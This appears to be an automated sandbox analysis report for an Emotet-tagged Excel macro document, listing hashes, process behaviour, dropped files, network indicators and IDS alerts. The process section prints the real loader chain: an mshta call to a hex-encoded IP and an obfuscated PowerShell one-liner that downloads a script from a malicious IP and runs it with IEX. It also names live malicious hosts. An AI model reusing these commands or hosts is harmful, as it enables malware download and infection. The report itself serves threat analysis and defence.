File name:

A90453C8D6B17C548C9AB0A6A53EEAF402F4F950

Full analysis: https://app.any.run/tasks/1f092c5a-7972-4818-8a57-553259c09234
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

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Analysis date: January 24, 2022, 21:53:32
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros40
loader
trojan
emotet-doc
emotet
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Jan 24 14:50:55 2022, Last Saved Time/Date: Mon Jan 24 15:24:17 2022, Security: 0
MD5:

41FF01AF6CC489915BACEC2552585F72

SHA1:

A90453C8D6B17C548C9AB0A6A53EEAF402F4F950

SHA256:

33130248CE2E47C8096CD1FA0925AD9456FB1C319C6AE3A9AB351D470D573A93

SSDEEP:

3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i

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  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 3148)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3148)

    • Executes PowerShell scripts

      • mshta.exe (PID: 3992)

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 3544)
      • SearchProtocolHost.exe (PID: 2716)
      • rundll32.exe (PID: 3044)
      • rundll32.exe (PID: 3640)
      • rundll32.exe (PID: 2124)

    • Connects to CnC server

      • rundll32.exe (PID: 3640)

  • SUSPICIOUS

    • Reads default file associations for system extensions

      • EXCEL.EXE (PID: 3148)
      • SearchProtocolHost.exe (PID: 2716)

    • Checks supported languages

      • cmd.exe (PID: 1660)
      • mshta.exe (PID: 3992)
      • powershell.exe (PID: 3976)
      • cmd.exe (PID: 2740)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 1660)

    • Reads Microsoft Outlook installation path

      • mshta.exe (PID: 3992)

    • Reads the computer name

      • mshta.exe (PID: 3992)
      • powershell.exe (PID: 3976)

    • Reads Environment values

      • powershell.exe (PID: 3976)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3976)
      • rundll32.exe (PID: 3544)

    • Drops a file with a compile date too recent

      • powershell.exe (PID: 3976)
      • rundll32.exe (PID: 3544)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 2740)
      • rundll32.exe (PID: 3044)
      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 2124)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 3976)

    • Starts itself from another location

      • rundll32.exe (PID: 3044)

    • Application launched itself

      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 2124)

  • INFO

    • Checks supported languages

      • EXCEL.EXE (PID: 3148)
      • rundll32.exe (PID: 3044)
      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 3640)
      • rundll32.exe (PID: 2124)

    • Reads the computer name

      • EXCEL.EXE (PID: 3148)
      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 3640)

    • Creates files in the user directory

      • EXCEL.EXE (PID: 3148)

    • Reads internet explorer settings

      • mshta.exe (PID: 3992)

    • Checks Windows Trust Settings

      • powershell.exe (PID: 3976)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3148)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:
  • Worksheets
  • 2
  • Excel 4.0 Macros
  • 1
TitleOfParts:
  • Time Card
  • Sheet1
  • XXL
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: -
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2022:01:24 15:24:17
CreateDate: 2022:01:24 14:50:55
Software: Microsoft Excel
LastModifiedBy: xXx
Author: xXx
No data.
screenshotscreenshot
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Total processes
48
Monitored processes
10
Malicious processes
5
Suspicious processes
2

Behavior graph

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start excel.exe no specs cmd.exe no specs mshta.exe powershell.exe searchprotocolhost.exe no specs cmd.exe no specs rundll32.exe no specs rundll32.exe rundll32.exe no specs rundll32.exe

Process information

PID
CMD
Path
Indicators
Parent process
1660cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.htmlC:\Windows\system32\cmd.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2124C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Fyqvhrewgex\xnjsmoohwjh.ucn",TyRxCPTC:\Windows\system32\rundll32.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
2716"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe3_ Global\UsGthrCtrlFltPipeMssGthrPipe3 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exe—SearchIndexer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft Windows Search Protocol Host
Exit code:
0
Version:
7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211)
Modules
Images
c:\windows\system32\searchprotocolhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2740"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\system32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3044C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\SysWow64\rundll32.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
3148"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\office14\excel.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
3544C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
3640C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Fyqvhrewgex\xnjsmoohwjh.ucn",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3976"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se4.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\atl.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\lpk.dll
3992mshta http://0x5cff39c3/sec/se4.htmlC:\Windows\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
c:\windows\system32\version.dll
Total events
3 347
Read events
3 227
Write events
107
Delete events
13

Modification events

(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:~e9
Value:
7E6539004C0C0000010000000000000000000000
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(3148) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
Off
Executable files
2
Suspicious files
4
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRE5FE.tmp.cvr —
MD5:—
SHA256:—
3148EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.datini
MD5:—
SHA256:—
3148EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\A90453C8D6B17C548C9AB0A6A53EEAF402F4F950.xls.LNKlnk
MD5:—
SHA256:—
3992mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\se4[1].htmbinary
MD5:—
SHA256:—
3976powershell.exeC:\Users\admin\AppData\Local\Temp\j5zlhsru.ibf.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3976powershell.exeC:\Users\admin\AppData\Local\Temp\ykdpyzvs.vub.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3976powershell.exeC:\Users\Public\Documents\ssd.dllexecutable
MD5:—
SHA256:—
3976powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:—
SHA256:—
3544rundll32.exeC:\Users\admin\AppData\Local\Fyqvhrewgex\xnjsmoohwjh.ucnexecutable
MD5:—
SHA256:—
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HTTP(S) requests
3
TCP/UDP connections
8
DNS requests
2
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3976
powershell.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.png
RU
text
1.14 Kb
malicious
3976
powershell.exe
GET
200
31.31.196.8:80
http://firstfitschool.com/83wg6z/oUCHXJmm/
RU
executable
676 Kb
malicious
3992
mshta.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.html
RU
binary
10.9 Kb
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3992
mshta.exe
92.255.57.195:80
—
Telecom SP Ltd
RU
malicious
3976
powershell.exe
92.255.57.195:80
—
Telecom SP Ltd
RU
malicious
—
—
31.31.196.8:80
firstfitschool.com
Domain names registrar REG.RU, Ltd
RU
malicious
3640
rundll32.exe
45.138.98.34:80
—
—
—
malicious

DNS requests

Domain
IP
Reputation
dns.msftncsi.com
  • 131.107.255.255
shared
firstfitschool.com
  • 31.31.196.8
malicious

Threats

PID
Process
Class
Message
3976
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3976
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3976
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3640
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 17
1 ETPRO signatures available at the full report
No debug info
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